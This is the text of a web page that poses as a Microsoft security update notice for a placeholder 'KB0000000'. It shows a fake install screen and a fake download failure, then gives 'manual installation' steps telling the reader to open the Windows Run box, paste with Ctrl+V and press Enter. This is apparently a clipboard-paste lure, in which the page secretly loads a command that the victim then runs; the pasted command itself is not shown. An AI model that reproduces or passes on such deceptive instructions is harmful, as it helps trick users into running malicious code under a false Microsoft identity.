Microsoft recommends the latest security update for your PC

A new security update is available. It installs quietly and helps protect your PC from recently discovered threats.

Security Update KB0000000 (2026-01)
  • ✓
    Protects against known vulnerabilities Includes important security fixes to help block newer exploit techniques and reduce risk.
  • ✓
    Improves system stability Fixes reliability issues that can cause random slowdowns, crashes, or unexpected restarts.
  • ✓
    Recommended for safer browsing and downloads Strengthens protection for common attack paths like web content, email attachments, and installers.

Installing security update…

Security Update KB0000000 (2026-01) is being prepared and installed. You can continue using your PC during this process.

Installation progress

Preparing
Initializing update services…
0%

Activity log

System checks

Live

Status

Active

Background tasks running

Integrity

Verifying

Package validation

Components

0 / 0

Processed items

Network

Stable

Transfer monitoring

Applying updates…

Please wait while Windows configures the security updates.
This may take a few moments...

!
Attention required Manual installation needed
Priority: High
!

Security update could not be installed

Security Update KB0000000 (2026-01) failed to download automatically. Please install it manually using the instructions below.

What happened

  • 1
    Automatic download failed The update could not be retrieved successfully during this session.
  • 2
    Security fixes may be missing Without this update, your system may remain behind on recent protections.
  • 3
    Manual install recommended Use the steps on the right to apply the update manually.
Update ID: KB0000000

Manual installation instructions

  • 1
    Press and hold the Windows key ⊞ (lower left corner of your keyboard) and while holding it, press the letter R just once.
  • 2
    Once the small "Run" box appears at the bottom left corner:
    Press and hold the Ctrl key and while holding it, press the letter V just once.
  • 3
    Last step: Click OK or press Enter to apply the latest updates.